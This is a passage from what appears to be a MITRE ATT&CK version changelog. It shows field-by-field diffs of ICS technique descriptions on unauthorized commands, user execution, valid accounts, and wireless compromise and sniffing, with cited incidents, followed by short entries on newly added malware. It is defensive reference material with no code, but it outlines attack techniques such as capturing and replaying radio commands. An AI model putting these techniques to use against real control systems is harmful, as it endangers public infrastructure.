instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an [[Impact]]. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Marshall Abrams July 2008) In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. (Citation: Zack Whittaker April 2017) (Citation: Benjamin Freed March 2019) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0855 | https://attack.mitre.org/Technique/T0855 |
| external_references[1]['source_name'] | StateScoop Dallas March 2019 | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[1]['url'] | https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/ | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 |
| external_references[2]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Marshall Abrams July 2008 |
| external_references[2]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[3]['source_name'] | Ukraine15 - EISAC - 201603 | Zack Whittaker April 2017 |
| external_references[3]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Zack Whittaker 2017, April 12 Dallas' emergency sirens were hacked with a rogue radio signal Retrieved. 2020/11/06 |
| external_references[3]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/ |
| external_references[4]['source_name'] | Maroochy - MITRE - 200808 | Benjamin Freed March 2019 |
| external_references[4]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Benjamin Freed 2019, March 13 Tornado sirens in Dallas suburbs deactivated after being hacked and set off Retrieved. 2020/11/06 |
| external_references[4]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/ |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'ZDNet Dallas April 2017', 'description': "Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020.", 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'} | |
[T0863] User Execution
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may rely on a targeted organizations' user inter | t | Adversaries may rely on a targeted organizations user intera |
| action for the execution of malicious code. User interaction | | ction for the execution of malicious code. User interaction |
| may consist of installing applications, opening email attac | | may consist of installing applications, opening email attach |
| hments, or granting higher permissions to documents. Adver | | ments, or granting higher permissions to documents. Advers |
| saries may embed malicious code or visual basic code into fi | | aries may embed malicious code or visual basic code into fil |
| les such as Microsoft Word and Excel documents or software i | | es such as Microsoft Word and Excel documents or software in |
| nstallers. (Citation: BlackEnergy - Booz Allen Hamilton) Exe | | stallers. (Citation: Booz Allen Hamilton) Execution of this |
| cution of this code requires that the user enable scripting | | code requires that the user enable scripting or write access |
| or write access within the document. Embedded code may not a | | within the document. Embedded code may not always be notice |
| lways be noticeable to the user especially in cases of troja | | able to the user especially in cases of trojanized software. |
| nized software. (Citation: Havex - F-Secure) A Chinese spear | | (Citation: Daavid Hentunen, Antti Tikkanen June 2014) A Ch |
| phishing campaign running from December 9, 2011 through Febr | | inese spearphishing campaign running from December 9, 2011 t |
| uary 29, 2012 delivered malware through spearphishing attach | | hrough February 29, 2012 delivered malware through spearphis |
| ments which required user action to achieve execution.(Citat | | hing attachments which required user action to achieve execu |
| ion: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 20 | | tion. (Citation: Department of Justice (DOJ), DHS Cybersecur |
| 21) | | ity & Infrastructure Security Agency (CISA) July 2021) |
New Detections:
- DS0009: Process (Process Creation)
- DS0015: Application Log (Application Log Content)
- DS0017: Command (Command Execution)
- DS0022: File (File Creation)
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.921000+00:00 |
| description | Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents.
Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: BlackEnergy - Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Havex - F-Secure) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. (Citation: Booz Allen Hamilton) Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software. (Citation: Daavid Hentunen, Antti Tikkanen June 2014) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution. (Citation: Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0863 | https://attack.mitre.org/Technique/T0863 |
| external_references[1]['source_name'] | BlackEnergy - Booz Allen Hamilton | Booz Allen Hamilton |
| external_references[1]['description'] | Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019. | Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 |
| external_references[2]['source_name'] | Havex - F-Secure | Daavid Hentunen, Antti Tikkanen June 2014 |
| external_references[2]['description'] | Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019. | Daavid Hentunen, Antti Tikkanen 2014, June 23 Havex Hunts For ICS/SCADA Systems Retrieved. 2019/04/01 |
| external_references[3]['source_name'] | CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021 | Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021 |
| external_references[3]['description'] | ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021. | Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 |
[T0859] Valid Accounts
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may steal the credentials of a specific user or | t | Adversaries may steal the credentials of a specific user or |
| service account using credential access techniques. In some | | service account using credential access techniques. In some |
| cases, default credentials for control system devices may be | | cases, default credentials for control system devices may be |
| publicly available. Compromised credentials may be used to | | publicly available. Compromised credentials may be used to |
| bypass access controls placed on various resources on hosts | | bypass access controls placed on various resources on hosts |
| and within the network, and may even be used for persistent | | and within the network, and may even be used for persistent |
| access to remote systems. Compromised and default credential | | access to remote systems. Compromised and default credential |
| s may also grant an adversary increased privilege to specifi | | s may also grant an adversary increased privilege to specifi |
| c systems and devices or access to restricted areas of the n | | c systems and devices or access to restricted areas of the n |
| etwork. Adversaries may choose not to use malware or tools, | | etwork. Adversaries may choose not to use malware or tools, |
| in conjunction with the legitimate access those credentials | | in conjunction with the legitimate access those credentials |
| provide, to make it harder to detect their presence or to co | | provide, to make it harder to detect their presence or to co |
| ntrol devices and send legitimate commands in an unintended | | ntrol devices and send legitimate commands in an unintended |
| way. Adversaries may also create accounts, sometimes using p | | way. ttt Adversaries may also create accounts, sometimes us |
| redefined account names and passwords, to provide a means of | | ing predefined account names and passwords, to provide a mea |
| backup access for persistence.(Citation: BlackEnergy - Booz | | ns of backup access for persistence. (Citation: Booz Allen H |
| Allen Hamilton) The overlap of credentials and permissions | | amilton) ttt The overlap of credentials and permissions acro |
| across a network of systems is of concern because the advers | | ss a network of systems is of concern because the adversary |
| ary may be able to pivot across accounts and systems to reac | | may be able to pivot across accounts and systems to reach a |
| h a high level of access (i.e., domain or enterprise adminis | | high level of access (i.e., domain or enterprise administrat |
| trator) and possibly between the enterprise and operational | | or) and possibly between the enterprise and operational tec |
| technology environments. Adversaries may be able to leverage | | hnology environments. Adversaries may be able to leverage va |
| valid credentials from one system to gain access to another | | lid credentials from one system to gain access to another sy |
| system. | | stem. |
New Detections:
- DS0002: User Account (User Account Authentication)
- DS0028: Logon Session (Logon Session Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.922000+00:00 |
| description | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.(Citation: BlackEnergy - Booz Allen Hamilton) The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. | Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. ttt Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. (Citation: Booz Allen Hamilton) ttt The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0859 | https://attack.mitre.org/Technique/T0859 |
| external_references[1]['source_name'] | Ukraine15 - EISAC - 201603 | Booz Allen Hamilton |
| external_references[1]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 |
| external_references[1]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'BlackEnergy - Booz Allen Hamilton', 'description': 'Booz Allen Hamilton. (n.d.). When The Lights Went Out. Retrieved October 22, 2019.', 'url': 'https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf'} | |
[T0860] Wireless Compromise
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may perform wireless compromise as a method of g | t | Adversaries may perform wireless compromise as a method of g |
| aining communications and unauthorized access to a wireless | | aining communications and unauthorized access to a wireless |
| network. Access to a wireless network may be gained through | | network. Access to a wireless network may be gained through |
| the compromise of a wireless device. (Citation: ICSCorsair - | | the compromise of a wireless device. (Citation: Alexander Bo |
| Bolshev) (Citation: Hart - Bolshev) Adversaries may also ut | | lshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev |
| ilize radios and other wireless communication devices on the | | March 2014) Adversaries may also utilize radios and other wi |
| same frequency as the wireless network. Wireless compromise | | reless communication devices on the same frequency as the wi |
| can be done as an initial access vector from a remote dista | | reless network. Wireless compromise can be done as an initia |
| nce. A joint case study on the Maroochy Shire Water Servi | | l access vector from a remote distance. A joint case stu |
| ces event examined the attack from a cyber security perspect | | dy on the Maroochy Shire Water Services event examined the a |
| ive. (Citation: Maroochy - MITRE - 200808) The adversary di | | ttack from a cyber security perspective. (Citation: Marshall |
| srupted Maroochy Shire's radio-controlled sewage system by d | | Abrams July 2008) The adversary disrupted Maroochy Shire's |
| riving around with stolen radio equipment and issuing comman | | radio-controlled sewage system by driving around with stolen |
| ds with them. Boden used a two-way radio to communicate with | | radio equipment and issuing commands with them. Boden used |
| and set the frequencies of Maroochy Shire's repeater statio | | a two-way radio to communicate with and set the frequencies |
| ns. A Polish student used a modified TV remote controller | | of Maroochy Shire's repeater stations. A Polish student us |
| to gain access to and control over the Lodz city tram system | | ed a modified TV remote controller to gain access to and con |
| in Poland. (Citation: LodzTram-LondonReconnections-2017-12) | | trol over the Lodz city tram system in Poland. (Citation: Jo |
| (Citation: LodzTram-InHomelandSecurity-2008-02) The remote | | hn Bill May 2017) (Citation: Shelley Smith February 2008) Th |
| controller device allowed the student to interface with the | | e remote controller device allowed the student to interface |
| tram’s network to modify track settings and override operato | | with the trams network to modify track settings and override |
| r control. The adversary may have accomplished this by align | | operator control. The adversary may have accomplished this |
| ing the controller to the frequency and amplitude of IR cont | | by aligning the controller to the frequency and amplitude of |
| rol protocol signals. (Citation: LodzTram-Schneier-2008-01) | | IR control protocol signals. (Citation: Bruce Schneier Janu |
| The controller then enabled initial access to the network, a | | ary 2008) The controller then enabled initial access to the |
| llowing the capture and replay of tram signals. (Citation: L | | network, allowing the capture and replay of tram signals. (C |
| odzTram-LondonReconnections-2017-12) | | itation: John Bill May 2017) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0028: Logon Session (Logon Session Creation)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.925000+00:00 |
| description | Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: ICSCorsair - Bolshev) (Citation: Hart - Bolshev) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance.
A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Maroochy - MITRE - 200808) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations.
A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: LodzTram-Schneier-2008-01) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: LodzTram-LondonReconnections-2017-12) | Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: Alexander Bolshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev March 2014) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective. (Citation: Marshall Abrams July 2008) The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. (Citation: Bruce Schneier January 2008) The controller then enabled initial access to the network, allowing the capture and replay of tram signals. (Citation: John Bill May 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0860 | https://attack.mitre.org/Technique/T0860 |
| external_references[1]['source_name'] | Hart - Bolshev | Alexander Bolshev, Gleb Cherbov July 2014 |
| external_references[1]['description'] | Alexander Bolshev. (2014, March 11). S4x14: HART As An Attack Vector. Retrieved January 5, 2020. | Alexander Bolshev, Gleb Cherbov 2014, July 08 ICSCorsair: How I will PWN your ERP through 4-20 mA current loop Retrieved. 2020/01/05 |
| external_references[1]['url'] | https://www.slideshare.net/dgpeters/17-bolshev-1-13 | https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf |
| external_references[2]['source_name'] | ICSCorsair - Bolshev | Alexander Bolshev March 2014 |
| external_references[2]['description'] | Alexander Bolshev, Gleb Cherbov. (2014, July 08). ICSCorsair: How I will PWN your ERP through 4-20 mA current loop. Retrieved January 5, 2020. | Alexander Bolshev 2014, March 11 S4x14: HART As An Attack Vector Retrieved. 2020/01/05 |
| external_references[2]['url'] | https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf | https://www.slideshare.net/dgpeters/17-bolshev-1-13 |
| external_references[3]['source_name'] | LodzTram-InHomelandSecurity-2008-02 | Marshall Abrams July 2008 |
| external_references[3]['description'] | Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[3]['url'] | https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/ | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[4]['source_name'] | LodzTram-LondonReconnections-2017-12 | John Bill May 2017 |
| external_references[4]['description'] | John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019. | John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 |
| external_references[5]['source_name'] | LodzTram-Schneier-2008-01 | Shelley Smith February 2008 |
| external_references[5]['description'] | Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019. | Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 |
| external_references[5]['url'] | https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html | https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/ |
| external_references[6]['source_name'] | Maroochy - MITRE - 200808 | Bruce Schneier January 2008 |
| external_references[6]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 |
| external_references[6]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html |
| x_mitre_platforms[1] | Field Controller/RTU/PLC/IED | Field Controller/RTU/PLC/IED |
| x_mitre_platforms[2] | Input/Output Server | Input/Output Server |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'John Bill May 2017', 'description': 'John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 ', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'} |
[T0887] Wireless Sniffing
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may seek to capture radio frequency (RF) communi | t | Adversaries may seek to capture radio frequency (RF) communi |
| cation used for remote control and reporting in distributed | | cation used for remote control and reporting in distributed |
| environments. RF communication frequencies vary between 3 kH | | environments. RF communication frequencies vary between 3 kH |
| z to 300 GHz, although are commonly between 300 MHz to 6 GHz | | z to 300 GHz, although are commonly between 300 MHz to 6 GHz |
| . The wavelength and frequency of the signal affect how the | | . (Citation: Candell, R., Hany, M., Lee, K. B., Liu,Y., Quim |
| signal propagates through open air, obstacles (e.g. walls an | | by, J., Remley, K. April 2018) The wavelength and frequency |
| d trees) and the type of radio required to capture them. The | | of the signal affect how the signal propagates through open |
| se characteristics are often standardized in the protocol an | | air, obstacles (e.g. walls and trees) and the type of radio |
| d hardware and may have an effect on how the signal is captu | | required to capture them. These characteristics are often s |
| red. Some examples of wireless protocols that may be found i | | tandardized in the protocol and hardware and may have an eff |
| n cyber-physical environments are: WirelessHART, Zigbee, WIA | | ect on how the signal is captured. Some examples of wireless |
| -FA, and 700 MHz Public Safety Spectrum. Adversaries may cap | | protocols that may be found in cyber-physical environments |
| ture RF communications by using specialized hardware, such a | | are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety |
| s software defined radio (SDR), handheld radio, or a compute | | Spectrum. Adversaries may capture RF communications by usi |
| r with radio demodulator tuned to the communication frequenc | | ng specialized hardware, such as software defined radio (SDR |
| y. Information transmitted over a wireless medium may be cap | | ), handheld radio, or a computer with radio demodulator tune |
| tured in-transit whether the sniffing device is the intended | | d to the communication frequency. (Citation: Bastille April |
| destination or not. This technique may be particularly usef | | 2017) Information transmitted over a wireless medium may be |
| ul to an adversary when the communications are not encrypted | | captured in-transit whether the sniffing device is the inten |
| . In the 2017 Dallas Siren incident, it is suspected that ad | | ded destination or not. This technique may be particularly u |
| versaries likely captured wireless command message broadcast | | seful to an adversary when the communications are not encryp |
| s on a 700 MHz frequency during a regular test of the system | | ted. (Citation: Gallagher, S. April 2017) In the 2017 Dalla |
| . These messages were later replayed to trigger the alarm sy | | s Siren incident, it is suspected that adversaries likely ca |
| stems. | | ptured wireless command message broadcasts on a 700 MHz freq |
| | | uency during a regular test of the system. These messages we |
| | | re later replayed to trigger the alarm systems. (Citation: G |
| | | allagher, S. April 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 19:03:26.506000+00:00 | 2022-04-21 22:02:03.927000+00:00 |
| description | Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems. | Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. (Citation: Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. April 2018) The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. (Citation: Bastille April 2017) Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. (Citation: Gallagher, S. April 2017) In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems. (Citation: Gallagher, S. April 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0887 | https://attack.mitre.org/Technique/T0887 |
| external_references[1]['source_name'] | NIST AMS 300-4 April 2018 | Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. April 2018 |
| external_references[1]['description'] | Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K.. (2018, April). Guide to Industrial Wireless Systems Deployments. Retrieved December 1, 2020. | Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K. 2018, April Guide to Industrial Wireless Systems Deployments Retrieved. 2020/12/01 |
| external_references[2]['source_name'] | Bastille Dallas April 2017 | Bastille April 2017 |
| external_references[2]['description'] | Bastille. (2017, April 17). Dallas Siren Attack. Retrieved November 6, 2020. | Bastille 2017, April 17 Dallas Siren Attack Retrieved. 2020/11/06 |
| external_references[3]['source_name'] | Ars Technica Dallas April 2017 | Gallagher, S. April 2017 |
| external_references[3]['description'] | Gallagher, S.. (2017, April 12). Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack. Retrieved December 1, 2020. | Gallagher, S. 2017, April 12 Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack Retrieved. 2020/12/01 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Gallagher, S. April 2017', 'description': 'Gallagher, S. 2017, April 12 Pirate radio: Signal spoof set off Dallas emergency sirens, not network hack Retrieved. 2020/12/01 ', 'url': 'https://arstechnica.com/information-technology/2017/04/dallas-siren-hack-used-radio-signals-to-spoof-alarm-says-city-manager/'} |
Software
enterprise-attack
New Software
[S0677] AADInternals
Current version: 1.0
Description: [AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)
[S0693] CaddyWiper
Current version: 1.0
Description: [CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)
[S0674] CharmPower
Current version: 1.0
Description: [CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)
[S0667] Chrommme
Current version: 1.0
Description: [Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool, written using the Microsoft Foundation Class (MFC) framework, that has infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666).(Citation: ESET Gelsemium June 2021)
[S0660] Clambling
Current version: 1.0
Description: [Clambling](https://attack.mitre.org/software/S0660) is a modular backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2017.(Citation: Trend Micro DRBControl February 2020)
[S0687] Cyclops Blink
Current version: 1.0
Description: [Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)
[S0694] DRATzarus
Current version: 1.0
Description: [DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)
[S0673] DarkWatchman
Current version: 1.0
Description: [DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)
